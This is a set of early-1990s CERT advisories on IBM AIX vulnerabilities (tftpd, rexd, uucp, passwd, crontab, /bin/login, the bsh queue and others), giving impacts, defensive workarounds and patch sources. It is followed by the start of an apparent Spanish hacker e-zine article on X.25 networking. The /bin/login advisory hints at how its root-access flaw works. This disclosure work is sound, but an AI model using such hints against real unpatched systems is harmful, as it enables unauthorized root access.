This patch is available for all AIX releases from "GOLD" to the current
release.

NOTE: THIS IS AN UPDATED PATCH FROM ONE RECENTLY MADE AVAILABLE and fixes
a security hole in the original patch.  The SCCS id of the correct patch
is tftpd.c 1.13.1.3 (*not* 1.13.1.2 or earlier versions).  This can be
checked using the following "what" command.

    % what /etc/tftpd
    /etc/tftpd:
       56      1.13.1.3  tftpd.c, tcpip, tcpip312 10/10/91 09:01:48
       tftpsubs.c      1.2  com/sockcmd/tftpd,3.1.2,9048312 10/8/89 17:40:55

IBM customers may call IBM Support (800-237-5511) and ask that the fix
be shipped to them.  The fix will appear in the upcoming 2009 update
and the next release of AIX.

---------------------------------------------------------------------------

I.   Description

     Previous versions of tftpd did not provide a method for restricting
     TFTP access.

II.  Impact

     If TFTP is enabled at your site, anyone on the Internet can retrieve
     copies of your site's world-readable files, such as /etc/passwd.

III. Solution
 
     A. Sites that do not need to allow tftp access should disable it.
 This can be done by editing /etc/inetd.conf and deleting or
 commenting out the tftpd line:

 #tftp     dgram     udp    wait    nobody  /etc/tftpd     tftpd -n

 and then, as root, restarting inetd with the "refresh" command.

     # refresh -s inetd

 For more details on starting/stopping tftp, refer to documentation
 for the System Resource Controller (SRC) or the System Management
 Interface Tool (SMIT).

     B. Sites that must run tftpd (for example, to support X terminals)
 should obtain and install the above patch AND create a
 /etc/tftpaccess.ctl file to restrict the files that are accessible.
        The /etc/tftpaccess.ctl file should be writable only by root.
 Although the new /etc/tftpaccess.ctl mechanism provides a very general
 capability, the CERT/CC strongly recommends that sites keep this
 control file simple.  For example, the following tftpaccess.ctl file
 is all that is necessary to support IBM X terminals:

 # /etc/tftpaccess.ctl
 # By default, all files are restricted if /etc/tftpaccess.ctl exists.
 # Allow access to X terminal files.
 allow:/usr/lpp/x_st_mgr/bin

 NOTE: Be CERTAIN to create the /etc/tftpaccess.ctl file.
 If it does not exist then all world-readable files are accessible
 as in the current version of tftpd.

        Installation Instructions:

        1.  Create an appropriate /etc/tftpaccess.ctl file.

        2.  From the directory containing the new tftpd module, issue
            the following commands as root.
 
            # chmod 644 /etc/tftpaccess.ctl
            # chown root.system /etc/tftpaccess.ctl
     # mv /etc/tftpd /etc/tftpd.old
     # cp tftpd /etc
     # chmod 755 /etc/tftpd
     # chown root.system /etc/tftpd
     # refresh -s inetd

---------------------------------------------------------------------------
The CERT/CC wishes to thank Karl Swartz of the Stanford Linear Accelerator
Center for bringing this vulnerability to our attention.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC via
telephone or e-mail.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 24-hour hotline:
           CERT/CC personnel answer 7:30a.m.-6:00p.m. EST/EDT,
           on call for emergencies during other hours.

Past advisories and other computer security related information are available
for anonymous ftp from the cert.org (192.88.209.5) system.

===========================================================================
CA-92:05                        CERT Advisory
                                March 5, 1992
                        AIX REXD Daemon Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability with the rexd daemon
in versions 3.1 and 3.2 of AIX for IBM RS/6000 machines.

IBM is aware of the problem and it will be fixed in future updates to
AIX 3.1 and 3.2.  Sites may call IBM Support (800-237-5511) and ask for
the patch for apar ix21353.  Patches may be obtained outside the U.S. by
contacting your local IBM representative.

The fix is also provided below.

---------------------------------------------------------------------------

I.   Description

     In certain configurations, particularly if NFS is installed,
     the rexd (RPC remote program execution) daemon is enabled.

     Note: Installing NFS with the current versions of "mknfs" will
     re-enable rexd even if it was previously disabled.

II.  Impact

     If a system allows rexd connections, anyone on the Internet can
     gain access to the system as a user other than root.

III. Solution

     CERT/CC and IBM recommend that sites take the following actions
     immediately.  These steps should also be taken whenever "mknfs" is run.

     1.  Be sure the rexd line in /etc/inetd.conf is commented out by
     having a '#' at the beginning of the line:

         #rexd   sunrpc_tcp tcp  wait  root  /usr/etc/rpc.rexd rexd 100017 1

     2.  Refresh inetd by running the following command as root:

         refresh -s inetd
 

---------------------------------------------------------------------------
The CERT/CC wishes to thank Darren Reed of the Australian National
University for bringing this vulnerability to our attention and
IBM for their response to the problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC or
your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4),
           on call for emergencies during other hours.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous ftp
from cert.org (192.88.209.5).

===========================================================================
CA-92:06                        CERT Advisory
                               March 19, 1992
                           AIX uucp Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability with the UUCP software
in versions of AIX up to 2007.  The vulnerability does not exist in AIX 3.2.

IBM is aware of this problem, and a fix is available as apar number
"ix18516".  This patch is available for all AIX releases from GOLD to
2006.

The fix is in the 2007 update and 3.2 release of AIX.  IBM customers may
call IBM Support (800-237-5511) and ask that the fix be shipped to them.
Patches may be obtained outside the U.S. by contacting your local IBM
representative.

---------------------------------------------------------------------------

I.   Description

     Previous versions, except AIX 3.2, of the UUCP software contained
     incorrectly configured versions of various files.
 

II.  Impact

     Local users can execute unauthorized commands and gain unauthorized
     root access.
 

III. Solution

     - If allowing users access to the uucp isn't necessary, disable it.

  % chmod 0100 /usr/bin/uucp

     - Obtain the fix from IBM Support.

     - Install the fix following the instructions in the README file.

---------------------------------------------------------------------------
The CERT/CC would like to thank Steve Knodle, Clarkson University, for
bringing this security vulnerability to our attention.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC or
your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4),
           on call for emergencies during other hours.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous ftp
from cert.org (192.88.209.5).

===========================================================================
CA-92:07                        CERT Advisory
                               March 31, 1992
                        AIX /bin/passwd Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability with the passwd command
in AIX 3.2 and the 2007 update of AIX 3.1.

IBM is aware of this problem, and a fix is available as apar number
"ix23505".  Patches are available for AIX 3.2 and the 2007 update of
AIX 3.1.

This fix may be ordered from Level 2 support or by anonymous ftp from
software.watson.ibm.com (129.34.139.5) on the Internet.

     1. To order from IBM call 1-800-237-5511 and ask
        that the fix be shipped.  Patches may be obtained
        outside the U.S. by contacting your local IBM
        representative.

     2. If you are on the Internet, use anonymous ftp to obtain
        the fix from software.watson.ibm.com.

        Patch           Filename                Checksum
        AIX 3.2         pub/aix3/pas.32.tar.Z   54431  2262
        AIX 3.1 2007    pub/aix3/pas.31.tar.Z   06703    99

        Patches should be retrieved using binary mode.
 

IBM is currently incorporating the fix into the 3.2 version and 3.1
updates of AIX.  Future shipments of these products should not be
vulnerable to this problem.  If you have any questions about products
you receive, please contact your IBM representative.
---------------------------------------------------------------------------

I.   Description

     The passwd command contains a security vulnerability.

II.  Impact

     Local users can gain unauthorized root access.

III. Solution

     A.  As root, disable /bin/passwd until you obtain and install
         the patch.

                # chmod 0500 /bin/passwd

     B.  Obtain the fix from IBM and install according to the
         directions provided with the patch.

---------------------------------------------------------------------------
The CERT/CC would like to thank Paul Selick of the University of Toronto
for bringing this security vulnerability to our attention.  We would also
like to thank IBM for their quick response to this problem, and for making
the patches available via anonymous ftp.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC or
your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4),
           on call for emergencies during other hours.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous ftp
from cert.org (192.88.209.5).

===========================================================================
CA-92:09                        CERT Advisory
                               April 27, 1992
                       AIX Anonymous FTP Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability in the anonymous FTP
configuration in all versions of AIX.

IBM is aware of this problem and a fix is available as apar number
"ix23944".  This patch is available for all AIX releases from "GOLD".

IBM customers may call IBM Support (800-237-5511) and ask that the fix
be shipped to them.  Patches may be obtained outside the U.S. by contacting
your local IBM representative.  The fix will appear in the upcoming 2009
update and the next release of AIX.

---------------------------------------------------------------------------

I.   Description

     Previous versions of the anonymous FTP installation script,
     /usr/lpp/tcpip/samples/anon.ftp, incorrectly configured various files
     and directories.
 

II.  Impact

     Remote users can execute unauthorized commands and gain access to the
     system if anonymous FTP has been installed.
 

III. Solution

     A.  Obtain the fix from IBM Support.  The fix contains three
         files: a "readme" file (README.a23944), the fix installation
         script (install.a23944), and an archive containing the updated
         files (PATCH.a23944.Z).

     B.  Install the fix following the instructions in the README file.

---------------------------------------------------------------------------
The CERT/CC would like to thank Charles McGuire of the Computer Science
Department, the University of Montana for bringing this security
vulnerability to our attention and IBM for their response to the problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC or
your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4),
           on call for emergencies during other hours.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous ftp
from cert.org (192.88.209.5).

===========================================================================
CA-92:10                        CERT Advisory
                                May 26, 1992
                          AIX crontab Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability in crontab(1) in version 3.2
of IBM's AIX operating system.

IBM is aware of this problem and a fix is available as apar number "ix26997"
for AIX version 3.2.  The version information for the patched /usr/bin/crontab
is shown in the following what(1) output:

% what /usr/bin/crontab
04 1.23 com/cmd/cntl/cron/crontab.c, cmdcntl, bos320, 9218320f 4/8/92 11:50:42
07 1.8  com/cmd/cntl/cron/permit.c, bos, bos320 4/25/91 17:16:59
11 1.15  com/cmd/cntl/cron/cronsub.c, bos, bos320 8/18/91 20:42:32
06 1.9  com/cmd/cntl/cron/funcs.c, bos, bos320 6/8/91 21:22:40

If your crontab contains older modules than the above output indicates, we
suggest that you install the fix.

---------------------------------------------------------------------------

I.   Description

     The distributed version of /usr/bin/crontab contains a security
     vulnerability.
 

II.  Impact

     Local users can gain unauthorized root access to the system.
 

III. Solution

      The CERT/CC suggests that sites install the fix that IBM has made
      available.  As an interim step, we suggests that sites prevent all
      non-root users from running /usr/bin/crontab by removing (or renaming)
      the /var/adm/cron/cron.allow and /var/adm/cron/cron.deny files.

      - Obtain the fix from IBM Support.

           1. To order from IBM call 1-800-237-5511 and ask
              that the fix be shipped.  Patches may be obtained
              outside the U.S. by contacting your local IBM
              representative.

           2. If you are on the Internet, use anonymous ftp to obtain
              the fix from software.watson.ibm.com (129.34.139.5).

              Patch           Filename                Checksum
              AIX 3.2         pub/aix3/cronta.tar.Z   02324   154

              The patch must be retrieved using binary mode.

      - Install the fix following the instructions in the README file.

---------------------------------------------------------------------------
The CERT/CC would like to thank Fuat Baran of Advanced Network & Services,
Inc. for bringing this security vulnerability to our attention and IBM for
their quick response to this problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact CERT/CC or
your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT/CC personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4),
           on call for emergencies during other hours.

Computer Emergency Response Team/Coordination Center (CERT/CC)
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous ftp
from cert.org (192.88.209.5).

===========================================================================
CA-94:03                        CERT Advisory
                              February 24, 1994
                  IBM AIX Performance Tools Vulnerabilities
---------------------------------------------------------------------------

The CERT Coordination Center has received information concerning
vulnerabilities in the "bosext1.extcmds.obj" Licensed Program Product
(performance tools).  These problems exist on IBM AIX 3.2.4 systems that
have Program Temporary Fixes (PTFs) U420020 or U422510 installed and
on all AIX 3.2.5 systems.

CERT recommends that affected sites apply the workaround provided in
section III below.
 

I.      Description
 
        Vulnerabilities exist in the bosext1.extcmds.obj performance tools
        in AIX 3.2.5 and in those AIX 3.2.4 systems with Program Temporary
        Fixes (PTFs) U420020 or U422510 installed.  These problems do not
        exist in earlier versions of AIX.

II.     Impact

        Local users can gain unauthorized root access to the system.

III.    Workaround

        A. The recommended workaround is to change the permissions of
           all the programs in the /usr/lpp/bosperf directory structure
           so that the setuid bit is removed and the programs can be
           executed only by 'root'.  This can be accomplished as follows:

                % su root
                # chmod -R u-s,og= /usr/lpp/bosperf/*

           The programs affected by this workaround include:
                filemon, fileplace, genkex, genkld, genld, lvedit,
                netpmon, rmap, rmss, stripnm, svmon, tprof

           As a result of this workaround, these programs will no longer
           be executable by users other than 'root'.

        B. Patches for these problems can be ordered as Authorized
           Program Analysis Report (APAR) IX42332.

           To order an APAR from IBM call 1-800-237-5511 and ask for
           shipment as soon as it is available.  APARs may be obtained
           outside the U.S. by contacting your local IBM representative.

           Any further information that we receive on APAR IX42332 will
           be available by anonymous FTP in the file
           pub/cert_advisories/CA-94:03.README on info.cert.org.

---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank Jill K. Bowyer of USAF/DISA
for reporting this problem and IBM for their prompt response to this problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
           and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available for anonymous FTP
on info.cert.org.
-----BEGIN PGP MESSAGE-----
Version: 2.3a

iQCVAgUBLZtIynVP+x0t4w7BAQH52QP+IRoSO8ZKA/AbiYJBO1HThzhAAG3R0AXS
dfq8a506AIUCWpRFIRBm+T0WzMcGe9FwQkL+imhqcgpZ2yvfIBRcOzvwx3Q9W4Sq
fp+Tenfi0DacM2VLUgrrmg0EKciRWOVjQM2LYs+9WLdYb+RzFpj9NQpp184EBN95
cnZlusJEK9o=
=Z8gJ
-----END PGP MESSAGE-----

=============================================================================
CA-94:09                         CERT Advisory
                                 May 23, 1994
                            /bin/login Vulnerability
-----------------------------------------------------------------------------

The CERT Coordination Center has learned of a vulnerability in
/bin/login.  This vulnerability potentially affects all IBM AIX 3
systems and Linux systems.  At this time, we believe that only
IBM AIX 3 and Linux systems are at risk.

Included with this advisory is an appendix containing the
CA-94:09.README, which lists the vendors who have responded to our
inquiries, and the status of their investigation into this
vulnerability report.  As we receive additional information relating
to this advisory, we will place it, along with any clarifications, in
the README file, available via anonymous FTP from info.cert.org.  We
encourage you to check the README files regularly for updates on
advisories that relate to your site.

-----------------------------------------------------------------------------

I.   Description of IBM AIX vulnerability

     A vulnerability exists in /bin/login on all IBM AIX 3 systems.

II.  Impact of IBM AIX vulnerability

     Remote users can obtain unauthorized root access on the affected
     hosts.

III. Solution for IBM AIX vulnerability

     IBM is working on an official fix, which is still under
     development.  The reference number for this fix is APAR IX44254.
     Until you obtain the official fix from IBM, we encourage you to
     apply the workaround or install the emergency fix below.

        A. Workaround

           The recommended workaround is to disable the rlogin daemon:

           1. As root, edit /etc/inetd.conf
              Comment out the line 'login ... rlogin'
           2. Run 'inetimp'
           3. Run 'refresh -s inetd'

        B. Emergency fix

           The emergency fix for the different levels of AIX 3
           affected by this vulnerability is available via anonymous
           FTP from software.watson.ibm.com:/pub/rlogin/rlogin.tar.Z.
           Installation instructions are included in the README file
           (which is included in rlogin.tar.Z).

           Checksum information for rlogin.tar.Z:
              BSD:      25285   317
              SystemV:  13021 633 rlogin.tar.Z
              MD5:      MD5 (rlogin.tar.Z) = 803ee38c2e3b8c8c575e2ff5e921034c

        C. Official fix

           The official fix for this problem can be ordered as
           APAR IX44254.

           To order an APAR from IBM in the U.S., call 1-800-237-5511
           and ask IBM to ship it as soon as it is available.
           According to IBM, this fix will be available in
           approximately two weeks.  APARs may be obtained outside the
           U.S. by contacting your local IBM representative.
 

IV.  Description of Linux vulnerability

     A vulnerability exists in /bin/login for Linux systems.

V.   Impact of Linux vulnerability

     Any user, remote or local, can obtain unauthorized root access on
     the affected hosts.

VI.  Solution for Linux vulnerability

     A patch that addresses the remote access problem has been made
     available via anonymous FTP from sunsite.unc.edu:

          /pub/Linux/system/Network/sunacm/URGENT/README.security
          /pub/Linux/system/Network/sunacm/URGENT/security.tgz

     The "security.tgz" file includes other security fixes in addition
     to the /bin/login patch.

     Checksum information for README.security:
          BSD:      09575     1
          SystemV:  20945 1 README.security
          MD5:      MD5 (README.security) = 41d14d7b8725c7a1015adeb49601619b

     Checksum information for security.tgz:
          BSD:      32878   257
          SystemV:  40797 513 security.tgz
          MD5:      MD5 (security.tgz) = dd4585cf4da1b52d25d619bf45f55b75

     To address the local access problem, we encourage you to install
     a version of /bin/login that does not allow the -f option in the
     form "-f<user>", but only allows this option in the form
     "-f <user>", as two arguments.  At this time, we do not know
     which versions of login.c are vulnerable.  As we receive
     additional information, we will update the CA-94:09.README file.
     Again, we encourage you to check this README file regularly for
     updates.

---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank Axel Clauberg of
University of Cologne for reporting the IBM AIX problem, and
IBM for their assistance in responding to this problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to
CERT via electronic mail, CERT strongly advises that the e-mail be
encrypted.  CERT can support a shared DES key, PGP (public key
available via anonymous FTP on info.cert.org), or PEM (contact CERT
for details).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
           and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA

Past advisories and their associated README files, information about
FIRST representatives, and other information related to computer
security are available for anonymous  FTP from info.cert.org.
 

=============================================================================
CA-94:10                         CERT Advisory
                                 June 3, 1994
                           IBM AIX bsh Vulnerability
-----------------------------------------------------------------------------

The CERT Coordination Center has learned of a vulnerability in the
batch queue (bsh) of IBM AIX systems running versions prior to and
including AIX 3.2.

CERT recommends disabling the batch queue by following the workaround
instructions in Section III below.  Section III also includes
information on how to obtain fixes from IBM if the bsh queue
functionality is required by remote systems.

As we receive additional information relating to this advisory, we
will place it, along with any clarifications, in a CA-94:10.README
file. CERT advisories and their associated README files are available
by anonymous FTP from info.cert.org. We encourage you to check the
README files regularly for updates on advisories that relate to your
site.

-----------------------------------------------------------------------------

I.   Description

     The queueing system on IBM AIX includes a batch queue, "bsh",
     which is turned on by default in /etc/qconfig on all versions of
     AIX 3 and earlier.

II.  Impact

     If network printing is enabled, remote and local users can gain
     access to a privileged account.

III. Solution

     In the next release of AIX, the bsh queue will be turned off by
     default.  CERT recommends that the bsh queue be turned off using
     the workaround described in Section A below unless there is an
     explicit need to support this functionality for remote hosts.  If
     this functionality must be supported, IBM provides fixes as
     outlined in Sections B and C below.  For questions concerning
     these workarounds or fixes, please contact IBM at the number
     provided below.

     A. Workaround

        Disable the bsh queue by following one of the two procedures
        outlined below:

        1. As root, from the command line, enter:
           # chque -qbsh -a"up = FALSE"
 
        2. From SMIT, enter:
           - Spooler
           - Manage Local Printer Subsystem
           - Change/Show Characteristics of a Queue
              select bsh
           - Activate the Queue
              select no

     B. Emergency fix

        Obtain and install the emergency fix for the version(s) of AIX
        used at your site.  Fixes for the various levels of AIX are
        available by anonymous FTP from software.watson.ibm.com.  The
        files are located in /pub/aix/bshfix.tar.Z in compressed tar
        format.  Installation instructions are included in the README
        file included as part of the tar file.

        The directory /pub/aix contains the latest available emergency
        fix for APAR IX44381.  As updates become available, any new
        versions will be placed in this directory with the name
        bshfix<#>.tar.Z with <#> being incremented for each update.
        See the README.FIRST file in that directory for details.

        IBM may remove this emergency fix file without prior notice if
        flaws are reported.  Due to the changing nature of these
        files, no checksum information is available.

     C. Official fix

        The official fix for this problem can be ordered as APAR
        IX44381.

        To order APARs from IBM in the U.S., call 1-800-237-5511 and
        ask that it be shipped to you as soon as it is available.  To
        obtain APARs outside of the U.S., contact your local IBM
        representative.

---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank Gordon C. Galligher of
Information Resources, Inc.  for reporting this problem and IBM
Corporation for their support in responding to this problem.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to
CERT via electronic mail, CERT strongly advises that the e-mail be
encrypted.  CERT can support a shared DES key, PGP (public key
available via anonymous FTP on info.cert.org), or PEM (contact CERT
for details).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
           and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA

Past advisories and their associated README files, information about FIRST
representatives, and other information related to computer security are
available for anonymous FTP from info.cert.org.
-----BEGIN PGP MESSAGE-----
Version: 2.6

iQCVAgUALe9nCnVP+x0t4w7BAQFHuQQAiYyA+RpN5tYAXnWe/PVaHcSXE0Y4J1vI
zi6E+2vY8PYMEpfVquHbhIrJgC4KU+vfy9HGTcj54AK7eaye0kBmuou5WBJ3rHKd
OUYf9APmQUuxFEzCOcA61u3cVb5vgaL+N63L6/pfOFC3Mxg1Gps5J4ETHzuein27
r2BArT7WSok=
=ejt4
-----END PGP MESSAGE-----
 
===============================================================================

que mamotreto hijoputa!     (lbd)
 

2. Comunicaciones en AIX
------------------------
by Saltamontes

  Este articulo da un rapido (y a veces no tanto) pantallazo de algunos de
los aspectos mas importantes de las comunicaciones en AIX. El articulo esta
dividido en 4 secciones: X.25, TCP/IP, SNA, Ethernet. En esta primera
entrega solo hablaremos de X.25, por un motivo de paja y espacio... Si bien
se podria juntar algunas secciones en una (como TCP/IP y X.25 o TCP/IP y
Ethernet), preferi separar estos temas independientemente de estar hablando
de un mismo nivel.
 

X.25
====

Introduccion
-^-^-^-^-^-^

  Para comprender esta parte del articulo, es necesario tener cierto
conocimiento acerca de las recomendaciones X.25 de CCITT, las cuales
definen un protocolo estandar para las Packet-Switched Data Networks
(PSDN). Por lo tanto, hare un breve resumen de los conceptos basicos
de X.25 y su historia. [Para mas informacion acerca de X.25/X.28/X.29
y X.* ver 0x01030003 (HBOMAG volumen #1, nro #3, file 0003)]
  Una PSDN es un grupo de nodos conmutadores inteligentes (intelligent
switching nodes) que permite a los subscriptores intercambiar datos
usando un protocolo estandar y tecnologia de conmutado de paquetes. Esta
red lleva los mensajes divididos en partes (paquetes) sobre circuitos
que son compartidos simultaneamente por muchos usuarios de la red (virtual
circuits). Una unica linea fisica puede manter varias conexiones
concurrentes. Cada paquete esta compuesto por una secuencia de datos e
informacion de control dispuestos en un formato especial y transmitido
manteniendo su integridad; generalmente el tama#o es de 128 bytes, aunque
esto puede variar entre 16 y 4096 bytes.
En 1976, un protocolo para conectar equipos privados a una PSDN fue
definido por la CCITT en "CCITT Recommendation X.25" (comunmente llamado el
libro naranja). Cada cuatro a#os la CCITT tiene sesiones, y tras cada una
de estas se emite una nueva version de las recomendaciones. Hoy dia, la
mayoria de las PSDN's soportan CCITT 1980, y algunas tambien las
recomendaciones de 1984. La International Organization for Standardization
(ISO) tambien publico las recomendaciones X.25 como ISO 8208 y ISO 7776.
Son varias las ventajas de X.25, asi como tambien sus desventajas. Para ver
esto resumo algunas de caracteristicas principales a continuacion:

 . Estandar Internacional: Las recomendaciones X.25 son un estandar
 para WANs (Wide Area Networks) y forman la base para los protocolos
 OSI (Open Systems Interconnection) de la ISO.

 . Red Internacional: Los usuarios pueden comunicarse con otras redes
 publicas X.25 alrededor del mundo, desde su red orginal.

 . Alto nivel de integridad de datos: Debido a la tecnologia reinante en
 la epoca de su desarrollo, X.25 fue disenado de modo tal que el chequeo
 de error se hace en cada nodo de la red, dando esto como resultado una
 alta confiabilidad en cuanto a la integridad de los datos transmitidos
 asi como tambien un delay de puta madre.

 . Seguridad: X.25 ofrece ciertas opciones de seguridad que pueden
 considerarse bastante efectivas. Por ejemplo, la posibilidad de
 bloquear llamadas entrantes de determinados lugares asi como tambien
 el bloqueo de llamadas salientes, Closed User Groups, etc.

 . Multiples conexiones atraves de una unica linea fisica: Los usuarios
 tienen la posibilidad de 'multiplexar' varias conexiones simultaneamente
 sobre una unica linea fisica. Por ejemplo AIX V3 soporta hasta 64
 conexiones concurrentes por adapter.

  DTE, DCE y DSE son terminos que en X.25 son usados como conceptos
funcionales. Comunumente nos encontramos con estos mismos terminos en 'el
largo y ancho mundo de los modems' pero con una leve diferencia en el
significado lo que puede causarnos una pequena confusion. En este articulo
vamos a usar la terminologia definida por CCITT X.25:

* A switching node in a packet-switched data network is called
DATA-SWITCHING EQUIPMENT (DSE).

* A computer that uses the network for communications is called
DATA-TERMINAL EQUIPMENT (DTE).

* A device at the point of access to the network is called DATA CIRCUIT
terminating EQUIPMENT (DCE).

  Nota: Cada DTE debe tener asociado un DCE.

  Ejemplo de una red X.25:

 ---------------
 |  IBM 4300   |
 |     DTE     |
 ---------------                                 -------------
         \\           ((                         | MICRO VAX |
           \\    (()(   (((((    _)))(         //|    DTE    |
             \\ (----        ((())    ))((    // -------------
               ( DCE |               ----- ))//
             (( -----    -----      | DCE ))--
          ((            | DSE |     ------(((
           ((            -----            )
         ((                    -----   (((  ---------------
           ((                 | DCE )))))   | IBM RS/6000 |
           ((((              (( )))\\=======|     DTE     |
               (())((   (())))))    \\      ---------------
X.25 DATA NETWORK    ))))           -----------------------
    [PSDN]                          | SUN SPARCStation 10 |
                                    |        DTE          |
                                    -----------------------

  El protocolo X.25 se divide en 3 niveles:
  . Physical level
  . Link level
  . Packet level

- Physical level:
  Este nivel esta definido en CCITT Recommendation X.21 y en CCITT
Recommendation X.21bis, este define la conexion de un DTE con un DCE por
medio de una interfase V.24 o V.35, como el que usa la interfase X.25 de
IBM Co-Processor/2.

- Link Level:
  El link level usa procedimientos que aseguran la correcta transmision y
control de informacion entre un DTE y un DCE.

- Packet Level:
  El packet level protocol especifica como los circuitos virtuales entre
DTEs son establecidos, mantenidos y limpiados. Este nivel define como un
unico canal fisico puede ser tratado como un set de multiples canales
logicos, cada uno proveyendo un circuito virtual. Tambien se define aca el
formato de los data packets y de los control packets, los cuales se usan
para establecer y mantener un circuito virtual entre dos DTE's en una PSDN.

++ Network User Address (NUA) :
  Para asegurar la unicidad en el direccionamiento de los DTE alrededor del
mundo, X.121 define un formato internacional de direcciones X.25. Cada DTE
conectado a una red X.25 es identificado por un numero llamado 'network user
address (NUA)' o para los que prefieran 'identificacion usuario de red
(IUR)'. La mayoria de las redes X.25 publicas usan el esquema X.121 para
crear NUAs. Es obvio que las redes privadas, las cuales no tienen intencion
alguna de conectarse con otras redes X.25, usan su propia esquema de
asignacion de direcciones...aunque algunos lo hacen de este modo por una
cuestion de boludez intrinseca.

Este es el modo en el que se construye una direccion bajo el esquema X.121:

(*) Data Network Identification Code (DNIC). Los DNICs son de 4 digitos y
estan armados de la siguiente manera:
  - Data Country Codes (DCC)
    + Primer digito. Identifica una zona geografica en el mundo.
    + Dos digitos siguientes. Identifican a un pais especifico.
    + Cuarto y ultimo digito. Senala la Public Data Network.
  (Debido a la limitacion de especificar solo 10 PDNs para un unico pais,
  los EEUU obtuvieron un permiso especial para usar un digito como DCC y
  dos para denotar la PDN.)

(*) National Terminal Number(NTN). Siguiendo al DNIC hay 10 digitos
asignados por la PDN. No hay restricciones en cuanto al orden de estos
digitos, pero usualmente se dejan los dos ultimos numeros para especificar
una subaddress, eso permite al subscriptor manipular estos dos digitos para
provecho de sus propias aplicaciones, entonces esta subaddress no es
procesada por la PDN.

Ej:
  ----------------------------------------
    1234  56789012  34
    DNIC     NTN     Optional Subaddress
  ----------------------------------------

  X.121 tambien define un prefijo opcional para las llamadas internacionales:
si el llamado es fuera de los limites de la PDN entonces un 0 o un 1 es
agregado al comienzo de la NUA. De lo contrario no se agrega nada.
De la misma manera dentro de un mismo PDN no es necesario especificar el
DNIC.
  El tamano maximo para una nua es de 15 digitos.

++ Canales Logicos y Circuitos Virtuales:
  Cada adaptador X.25 de AIX provee una unica conexion fisica a la red.
Cada conexion fisica, a su vez, soporta multiples conexiones logicas
concurrentes con otros DTEs en la red; estas conexiones se denominan circuitos
